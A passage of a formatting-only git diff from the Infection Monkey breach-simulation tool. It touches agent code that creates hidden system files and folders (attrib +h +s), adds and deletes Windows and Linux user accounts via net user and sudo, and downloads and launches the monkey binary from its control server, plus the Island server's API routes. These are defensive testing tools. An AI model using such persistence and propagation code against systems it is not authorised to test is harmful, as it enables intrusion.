str(commands_to_add_user)) + ) + _ = subprocess.check_output( + " ".join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True + ) def __enter__(self): return self # No initialization/logging on needed in Linux def run_as(self, command): - command_as_new_user = "sudo -u {username} {command}".format(username=self.username, command=command) + command_as_new_user = "sudo -u {username} {command}".format( + username=self.username, command=command + ) return os.system(command_as_new_user) def __exit__(self, exc_type, exc_val, exc_tb): # delete the user. commands_to_delete_user = get_linux_commands_to_delete_user(self.username) - logger.debug("Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user))) - _ = subprocess.check_output(" ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True) + logger.debug( + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) + ) + _ = subprocess.check_output( + " ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True + ) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index ad80bc73d5d..0b97f83b906 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -5,10 +5,16 @@ def get_monkey_log_path(): - return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ + return ( + os.path.expandvars(WormConfiguration.monkey_log_path_windows) + if sys.platform == "win32" else WormConfiguration.monkey_log_path_linux + ) def get_dropper_log_path(): - return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ + return ( + os.path.expandvars(WormConfiguration.dropper_log_path_windows) + if sys.platform == "win32" else WormConfiguration.dropper_log_path_linux + ) diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py index 662c0e35a73..f72585cd3df 100644 --- a/monkey/infection_monkey/utils/plugins/plugin.py +++ b/monkey/infection_monkey/utils/plugins/plugin.py @@ -11,14 +11,13 @@ def _get_candidate_files(base_package_file): files = glob.glob(join(dirname(base_package_file), "*.py")) - return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] + return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith("__init__.py")] -PluginType = TypeVar('PluginType', bound='Plugin') +PluginType = TypeVar("PluginType", bound="Plugin") class Plugin(metaclass=ABCMeta): - @staticmethod @abstractmethod def should_run(class_name: str) -> bool: @@ -33,15 +32,20 @@ def get_classes(cls) -> Sequence[Callable]: """ objects = [] candidate_files = _get_candidate_files(cls.base_package_file()) - LOG.info("looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name())) + LOG.info( + "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) + ) # Go through all of files for file in candidate_files: # Import module from that file - module = importlib.import_module('.' + file, cls.base_package_name()) + module = importlib.import_module("." + file, cls.base_package_name()) # Get all classes in a module # m[1] because return object is (name,class) - classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) - if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls))] + classes = [ + m[1] + for m in inspect.getmembers(module, inspect.isclass) + if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls)) + ] # Get object from class for class_object in classes: LOG.debug("Checking if should run object {}".format(class_object.__name__)) @@ -50,7 +54,11 @@ def get_classes(cls) -> Sequence[Callable]: objects.append(class_object) LOG.debug("Added {} to list".format(class_object.__name__)) except Exception as e: - LOG.warning("Exception {} when checking if {} should run".format(str(e), class_object.__name__)) + LOG.warning( + "Exception {} when checking if {} should run".format( + str(e), class_object.__name__ + ) + ) return objects @classmethod @@ -67,7 +75,9 @@ def get_instances(cls) -> Sequence[Type[PluginType]]: instance = class_object() instances.append(instance) except Exception as e: - LOG.warning("Exception {} when initializing {}".format(str(e), class_object.__name__)) + LOG.warning( + "Exception {} when initializing {}".format(str(e), class_object.__name__) + ) return instances @staticmethod diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py index 18e83c052b0..7e4c9394068 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py @@ -2,6 +2,5 @@ class BadPluginInit(TestPlugin): - def __init__(self): raise Exception("TestException") diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py index 2d73cd65b49..09abae31450 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py @@ -6,7 +6,6 @@ class NoInheritance: class BadInit(TestPlugin): - def __init__(self): raise Exception("TestException") diff --git a/monkey/infection_monkey/utils/plugins/plugin_test.py b/monkey/infection_monkey/utils/plugins/plugin_test.py index c587bfed28f..d8034c0166f 100644 --- a/monkey/infection_monkey/utils/plugins/plugin_test.py +++ b/monkey/infection_monkey/utils/plugins/plugin_test.py @@ -8,7 +8,6 @@ class PluginTester(TestCase): - def test_combo_file(self): TestPlugin.classes_to_load = [BadInit.__name__, ProperClass.__name__] to_init = TestPlugin.get_classes() diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py index d5687fc2d38..818c88a6e35 100644 --- a/monkey/infection_monkey/utils/windows/hidden_files.py +++ b/monkey/infection_monkey/utils/windows/hidden_files.py @@ -9,55 +9,58 @@ def get_windows_commands_to_hide_files(): return [ - 'echo', - 'Successfully created hidden file: {}'.format(HIDDEN_FILE), # create empty file - '>', + "echo", + "Successfully created hidden file: {}".format(HIDDEN_FILE), # create empty file + ">", HIDDEN_FILE, - '&&', - 'attrib', # change file attributes - '+h', # hidden attribute - '+s', # system attribute + "&&", + "attrib", # change file attributes + "+h", # hidden attribute + "+s", # system attribute + HIDDEN_FILE, + "&&", + "type", HIDDEN_FILE, - '&&', - 'type', - HIDDEN_FILE ] def get_windows_commands_to_hide_folders(): return [ - 'mkdir', + "mkdir", HIDDEN_FOLDER, # make directory - '&&', - 'attrib', - '+h', # hidden attribute - '+s', # system attribute + "&&", + "attrib", + "+h", # hidden attribute + "+s", # system attribute HIDDEN_FOLDER, # change file attributes - '&&', - 'echo', - 'Successfully created hidden folder: {}'.format(HIDDEN_FOLDER), - '>', - '{}\\{}'.format(HIDDEN_FOLDER, 'some-file'), - '&&', - 'type', - '{}\\{}'.format(HIDDEN_FOLDER, 'some-file') + "&&", + "echo", + "Successfully created hidden folder: {}".format(HIDDEN_FOLDER), + ">", + "{}\\{}".format(HIDDEN_FOLDER, "some-file"), + "&&", + "type", + "{}\\{}".format(HIDDEN_FOLDER, "some-file"), ] def get_winAPI_to_hide_files(): import win32file + try: fileAccess = win32file.GENERIC_READ | win32file.GENERIC_WRITE # read-write access fileCreation = win32file.CREATE_ALWAYS # overwrite existing file fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden - win32file.CreateFile(HIDDEN_FILE_WINAPI, - fileAccess, - 0, # sharing mode: 0 => can't be shared - None, # security attributes - fileCreation, - fileFlags, - 0) # template file + win32file.CreateFile( + HIDDEN_FILE_WINAPI, + fileAccess, + 0, # sharing mode: 0 => can't be shared + None, # security attributes + fileCreation, + fileFlags, + 0, + ) # template file return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True except Exception as err: @@ -66,15 +69,15 @@ def get_winAPI_to_hide_files(): def get_windows_commands_to_delete(): return [ - 'powershell.exe', - 'del', # delete file - '-Force', + "powershell.exe", + "del", # delete file + "-Force", HIDDEN_FILE, - ',', + ",", HIDDEN_FILE_WINAPI, - ';', - 'rmdir', # delete folder - '-Force', - '-Recurse', - HIDDEN_FOLDER + ";", + "rmdir", # delete folder + "-Force", + "-Recurse", + HIDDEN_FOLDER, ] diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index c16b1c19080..9e5913673b8 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -4,38 +4,25 @@ from infection_monkey.utils.auto_new_user import AutoNewUser from infection_monkey.utils.new_user_error import NewUserError -ACTIVE_NO_NET_USER = '/ACTIVE:NO' +ACTIVE_NO_NET_USER = "/ACTIVE:NO" WAIT_TIMEOUT_IN_MILLISECONDS = 60 * 1000 logger = logging.getLogger(__name__) def get_windows_commands_to_add_user(username, password, should_be_active=False): - windows_cmds = [ - 'net', - 'user', - username, - password, - '/add'] + windows_cmds = ["net", "user", username, password, "/add"] if not should_be_active: windows_cmds.append(ACTIVE_NO_NET_USER) return windows_cmds def get_windows_commands_to_delete_user(username): - return [ - 'net', - 'user', - username, - '/delete'] + return ["net", "user", username, "/delete"] def get_windows_commands_to_deactivate_user(username): - return [ - 'net', - 'user', - username, - ACTIVE_NO_NET_USER] + return ["net", "user", username, ACTIVE_NO_NET_USER] class AutoNewWindowsUser(AutoNewUser): @@ -66,7 +53,8 @@ def __enter__(self): ".", # Use current domain. self.password, win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user), since we're using a shell. - win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers. + win32con.LOGON32_PROVIDER_DEFAULT, + ) # Which logon provider to use - whatever Windows offers. except Exception as err: raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) return self @@ -86,22 +74,20 @@ def run_as(self, command): # Open process as that user # https://github.com/tjguk/winsys/blob/master/winsys/_advapi32.py proc_info = _advapi32.CreateProcessWithLogonW( - username=self.username, - domain=".", - password=self.password, - command_line=command + username=self.username, domain=".", password=self.password, command_line=command ) process_handle = proc_info.hProcess thread_handle = proc_info.hThread logger.debug( - "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS)) + "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS) + ) # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f-408d2a41750d/what-events-on-a-process-handle-signal-satisify-waitforsingleobject?forum=vcgeneral # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. process_handle, # Ping process handle - WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds + WAIT_TIMEOUT_IN_MILLISECONDS, # Timeout in milliseconds ) exit_code = win32process.GetExitCodeProcess(process_handle) @@ -131,9 +117,13 @@ def try_deactivate_user(self): try: commands_to_deactivate_user = get_windows_commands_to_deactivate_user(self.username) logger.debug( - "Trying to deactivate {} with commands {}".format(self.username, str(commands_to_deactivate_user))) + "Trying to deactivate {} with commands {}".format( + self.username, str(commands_to_deactivate_user) + ) + ) _ = subprocess.check_output( - commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True) + commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True + ) except Exception as err: raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) @@ -141,8 +131,12 @@ def try_delete_user(self): try: commands_to_delete_user = get_windows_commands_to_delete_user(self.username) logger.debug( - "Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user))) + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) + ) _ = subprocess.check_output( - commands_to_delete_user, stderr=subprocess.STDOUT, shell=True) + commands_to_delete_user, stderr=subprocess.STDOUT, shell=True + ) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 8b9ec7f8057..cea71a3267c 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -11,7 +11,7 @@ from infection_monkey.model import MONKEY_CMDLINE_WINDOWS from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" LOG = logging.getLogger(__name__) @@ -26,31 +26,45 @@ class WindowsUpgrader(object): @staticmethod def should_upgrade(): - return is_windows_os() and is_64bit_windows_os() \ - and not is_64bit_python() + return is_windows_os() and is_64bit_windows_os() and not is_64bit_python() @staticmethod def upgrade(opts): try: monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + with open( + WormConfiguration.dropper_target_path_win_64, "wb" + ) as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) except (IOError, AttributeError) as e: LOG.error("Failed to download the Monkey to the target path: %s." % e) return - monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) + monkey_options = build_monkey_commandline_explicitly( + opts.parent, opts.tunnel, opts.server, opts.depth + ) - monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { - 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options + monkey_cmdline = ( + MONKEY_CMDLINE_WINDOWS % {"monkey_path": WormConfiguration.dropper_target_path_win_64} + + monkey_options + ) - monkey_process = subprocess.Popen(monkey_cmdline, shell=True, - stdin=None, stdout=None, stderr=None, - close_fds=True, creationflags=DETACHED_PROCESS) + monkey_process = subprocess.Popen( + monkey_cmdline, + shell=True, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + creationflags=DETACHED_PROCESS, + ) - LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", - monkey_process.pid, monkey_cmdline) + LOG.info( + "Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, + monkey_cmdline, + ) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) if monkey_process.poll() is not None: diff --git a/monkey/monkey_island/__init__.py b/monkey/monkey_island/__init__.py index ee5b79ad073..a444730848a 100644 --- a/monkey/monkey_island/__init__.py +++ b/monkey/monkey_island/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/__init__.py b/monkey/monkey_island/cc/__init__.py index e593a854b45..a37455d11f1 100644 --- a/monkey/monkey_island/cc/__init__.py +++ b/monkey/monkey_island/cc/__init__.py @@ -1 +1 @@ -__author__ = 'Barak' +__author__ = "Barak" diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c7fd0006f19..846a8663da1 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -51,21 +51,25 @@ from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.representations import output_json -__author__ = 'Barak' +__author__ = "Barak" -HOME_FILE = 'index.html' +HOME_FILE = "index.html" def serve_static_file(static_path): - if static_path.startswith('api/'): + if static_path.startswith("api/"): raise NotFound() try: - return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/ui/dist'), static_path) + return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc/ui/dist"), static_path) except NotFound: # Because react uses various urls for same index page, this is probably the user's intention. if static_path == HOME_FILE: flask_restful.abort( - Response("Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", 500)) + Response( + "Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", + 500, + ) + ) return serve_home() @@ -74,17 +78,17 @@ def serve_home(): def init_app_config(app, mongo_url): - app.config['MONGO_URI'] = mongo_url + app.config["MONGO_URI"] = mongo_url # See https://flask-jwt-extended.readthedocs.io/en/stable/options - app.config['JWT_ACCESS_TOKEN_EXPIRES'] = env_singleton.env.get_auth_expiration_time() + app.config["JWT_ACCESS_TOKEN_EXPIRES"] = env_singleton.env.get_auth_expiration_time() # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case of getting a JWT, # deciding to reset credentials and then still logging in with the old JWT. - app.config['JWT_SECRET_KEY'] = str(uuid.uuid4()) + app.config["JWT_SECRET_KEY"] = str(uuid.uuid4()) # By default, Flask sorts keys of JSON objects alphabetically, which messes with the ATT&CK matrix in the # configuration. See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. - app.config['JSON_SORT_KEYS'] = False + app.config["JSON_SORT_KEYS"] = False app.json_encoder = CustomJSONEncoder @@ -102,62 +106,71 @@ def init_app_services(app): def init_app_url_rules(app): - app.add_url_rule('/', 'serve_home', serve_home) - app.add_url_rule('/', 'serve_static_file', serve_static_file) + app.add_url_rule("/", "serve_home", serve_home) + app.add_url_rule("/", "serve_static_file", serve_static_file) def init_api_resources(api): - api.add_resource(Root, '/api') - api.add_resource(Registration, '/api/registration') - api.add_resource(Authenticate, '/api/auth') - api.add_resource(Environment, '/api/environment') - api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/') - api.add_resource(Bootloader, '/api/bootloader/') - api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/') - api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') - api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') - api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') - api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/') - api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', - '/api/monkey/download/') - api.add_resource(NetMap, '/api/netmap', '/api/netmap/') - api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') - api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') - api.add_resource(NodeStates, '/api/netmap/nodeStates') - - api.add_resource(SecurityReport, '/api/report/security') - api.add_resource(ZeroTrustReport, '/api/report/zero-trust/') - api.add_resource(AttackReport, '/api/report/attack') - - api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/') - api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') - api.add_resource(Log, '/api/log', '/api/log/') - api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') - api.add_resource(PBAFileDownload, '/api/pba/download/') + api.add_resource(Root, "/api") + api.add_resource(Registration, "/api/registration") + api.add_resource(Authenticate, "/api/auth") + api.add_resource(Environment, "/api/environment") + api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/") + api.add_resource(Bootloader, "/api/bootloader/") + api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") + api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") + api.add_resource( + Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" + ) + api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") + api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") + api.add_resource( + MonkeyDownload, + "/api/monkey/download", + "/api/monkey/download/", + "/api/monkey/download/", + ) + api.add_resource(NetMap, "/api/netmap", "/api/netmap/") + api.add_resource(Edge, "/api/netmap/edge", "/api/netmap/edge/") + api.add_resource(Node, "/api/netmap/node", "/api/netmap/node/") + api.add_resource(NodeStates, "/api/netmap/nodeStates") + + api.add_resource(SecurityReport, "/api/report/security") + api.add_resource(ZeroTrustReport, "/api/report/zero-trust/") + api.add_resource(AttackReport, "/api/report/attack") + + api.add_resource(ZeroTrustFindingEvent, "/api/zero-trust/finding-event/") + api.add_resource(TelemetryFeed, "/api/telemetry-feed", "/api/telemetry-feed/") + api.add_resource(Log, "/api/log", "/api/log/") + api.add_resource(IslandLog, "/api/log/island/download", "/api/log/island/download/") + api.add_resource(PBAFileDownload, "/api/pba/download/") api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) - api.add_resource(FileUpload, '/api/fileUpload/', - '/api/fileUpload/?load=', - '/api/fileUpload/?restore=') - api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(AttackConfiguration, '/api/attack') - api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') - api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/') - api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island') - api.add_resource(ScoutSuiteAuth, '/api/scoutsuite_auth/') - api.add_resource(AWSKeys, '/api/aws_keys') + api.add_resource( + FileUpload, + "/api/fileUpload/", + "/api/fileUpload/?load=", + "/api/fileUpload/?restore=", + ) + api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") + api.add_resource(AttackConfiguration, "/api/attack") + api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") + api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") + api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island") + api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") + api.add_resource(AWSKeys, "/api/aws_keys") # Resources used by black box tests - api.add_resource(MonkeyTest, '/api/test/monkey') - api.add_resource(ClearCaches, '/api/test/clear_caches') - api.add_resource(LogTest, '/api/test/log') - api.add_resource(TelemetryTest, '/api/test/telemetry') + api.add_resource(MonkeyTest, "/api/test/monkey") + api.add_resource(ClearCaches, "/api/test/clear_caches") + api.add_resource(LogTest, "/api/test/log") + api.add_resource(TelemetryTest, "/api/test/telemetry") def init_app(mongo_url): app = Flask(__name__) api = flask_restful.Api(app) - api.representations = {'application/json': output_json} + api.representations = {"application/json": output_json} init_app_config(app, mongo_url) init_app_services(app) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 5ea12aec44c..73b145dd4a6 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,6 +1,9 @@ from dataclasses import dataclass -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import ( + DEFAULT_SERVER_CONFIG_PATH, + DEFAULT_LOGGER_CONFIG_PATH, +) @dataclass @@ -15,7 +18,7 @@ def parse_cli_args() -> IslandArgs: parser = argparse.ArgumentParser( description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", - formatter_class=argparse.ArgumentDefaultsHelpFormatter + formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument( "-s", diff --git a/monkey/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py index 082553e5f7b..b7788178cc6 100644 --- a/monkey/monkey_island/cc/database.py +++ b/monkey/monkey_island/cc/database.py @@ -2,7 +2,7 @@ from flask_pymongo import MongoClient, PyMongo from pymongo.errors import ServerSelectionTimeoutError -__author__ = 'Barak' +__author__ = "Barak" mongo = PyMongo() @@ -34,5 +34,5 @@ def get_db_version(mongo_url): :return: version as a tuple (e.g. `(u'4', u'0', u'8')`) """ client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) - server_version = tuple(client.server_info()['version'].split('.')) + server_version = tuple(client.server_info()["version"].split(".")) return server_version diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 75012183ff5..61242842868 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -4,10 +4,13 @@ from abc import ABCMeta, abstractmethod from datetime import timedelta -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" -from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, - InvalidRegistrationCredentialsError) +from common.utils.exceptions import ( + AlreadyRegisteredError, + CredentialsNotRequiredError, + InvalidRegistrationCredentialsError, +) from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds @@ -19,8 +22,10 @@ class Environment(object, metaclass=ABCMeta): _MONGO_DB_NAME = "monkeyisland" _MONGO_DB_HOST = "localhost" _MONGO_DB_PORT = 27017 - _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", - "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME))) + _MONGO_URL = os.environ.get( + "MONKEY_MONGO_URL", + "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)), + ) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(minutes=30) @@ -56,12 +61,14 @@ def try_add_user(self, credentials: UserCreds): def _try_needs_registration(self) -> bool: if not self._credentials_required: - raise CredentialsNotRequiredError("Credentials are not required " - "for current environment.") + raise CredentialsNotRequiredError( + "Credentials are not required " "for current environment." + ) else: if self._is_registered(): - raise AlreadyRegisteredError("User has already been registered. " - "Reset credentials or login.") + raise AlreadyRegisteredError( + "User has already been registered. " "Reset credentials or login." + ) return True def _is_registered(self) -> bool: @@ -102,11 +109,11 @@ def get_auth_expiration_time(self): @staticmethod def hash_secret(secret): hash_obj = hashlib.sha3_512() - hash_obj.update(secret.encode('utf-8')) + hash_obj.update(secret.encode("utf-8")) return hash_obj.hexdigest() def get_deployment(self) -> str: - deployment = 'unknown' + deployment = "unknown" if self._config and self._config.deployment: deployment = self._config.deployment return deployment diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index b1ba0a734f7..89e7b428dd7 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,7 +1,7 @@ from common.cloud.aws.aws_instance import AwsInstance from monkey_island.cc.environment import Environment -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class AwsEnvironment(Environment): diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index f390d8186aa..731ecfe34f2 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -40,9 +40,7 @@ def _load_from_json(self, config_json: str) -> EnvironmentConfig: def _load_from_dict(self, dict_data: Dict): user_creds = UserCreds.get_from_dict(dict_data) aws = dict_data["aws"] if "aws" in dict_data else None - data_dir = ( - dict_data["data_dir"] if "data_dir" in dict_data else DEFAULT_DATA_DIR - ) + data_dir = dict_data["data_dir"] if "data_dir" in dict_data else DEFAULT_DATA_DIR self.server_config = dict_data["server_config"] self.deployment = dict_data["deployment"] diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 0c7262a96b5..e7e316ac54d 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -1,22 +1,21 @@ import logging import monkey_island.cc.resources.auth.user_store as user_store -from monkey_island.cc.environment import (EnvironmentConfig, aws, password, - standard) +from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" logger = logging.getLogger(__name__) -AWS = 'aws' -STANDARD = 'standard' -PASSWORD = 'password' +AWS = "aws" +STANDARD = "standard" +PASSWORD = "password" ENV_DICT = { STANDARD: standard.StandardEnvironment, AWS: aws.AwsEnvironment, - PASSWORD: password.PasswordEnvironment + PASSWORD: password.PasswordEnvironment, } env = None @@ -32,8 +31,8 @@ def set_to_standard(): global env if env: env_config = env.get_config() - env_config.server_config = 'standard' - set_env('standard', env_config) + env_config.server_config = "standard" + set_env("standard", env_config) env.save_config() user_store.UserStore.set_users(env.get_auth_users()) @@ -45,9 +44,9 @@ def initialize_from_file(file_path): __env_type = config.server_config set_env(__env_type, config) # noinspection PyUnresolvedReferences - logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) + logger.info("Monkey's env is: {0}".format(env.__class__.__name__)) except Exception: - logger.error('Failed initializing environment', exc_info=True) + logger.error("Failed initializing environment", exc_info=True) raise diff --git a/monkey/monkey_island/cc/environment/password.py b/monkey/monkey_island/cc/environment/password.py index 8cfd495d27e..88d1f76f0d0 100644 --- a/monkey/monkey_island/cc/environment/password.py +++ b/monkey/monkey_island/cc/environment/password.py @@ -1,6 +1,6 @@ from monkey_island.cc.environment import Environment -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class PasswordEnvironment(Environment): diff --git a/monkey/monkey_island/cc/environment/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py index f3fbd66ff25..490d92479fc 100644 --- a/monkey/monkey_island/cc/environment/set_server_config.py +++ b/monkey/monkey_island/cc/environment/set_server_config.py @@ -62,5 +62,5 @@ def restore_previous_config(config_path): move(BACKUP_CONFIG_FILENAME, config_path) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py index e34fb71ccb5..8135e8e3f78 100644 --- a/monkey/monkey_island/cc/environment/standard.py +++ b/monkey/monkey_island/cc/environment/standard.py @@ -1,7 +1,7 @@ from monkey_island.cc.environment import Environment from monkey_island.cc.resources.auth.auth_user import User -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" class StandardEnvironment(Environment): @@ -9,8 +9,10 @@ class StandardEnvironment(Environment): _credentials_required = False # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' - NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' + NO_AUTH_CREDS = ( + "55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" + "8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557" + ) def get_auth_users(self): return [User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)] diff --git a/monkey/monkey_island/cc/environment/test__init__.py 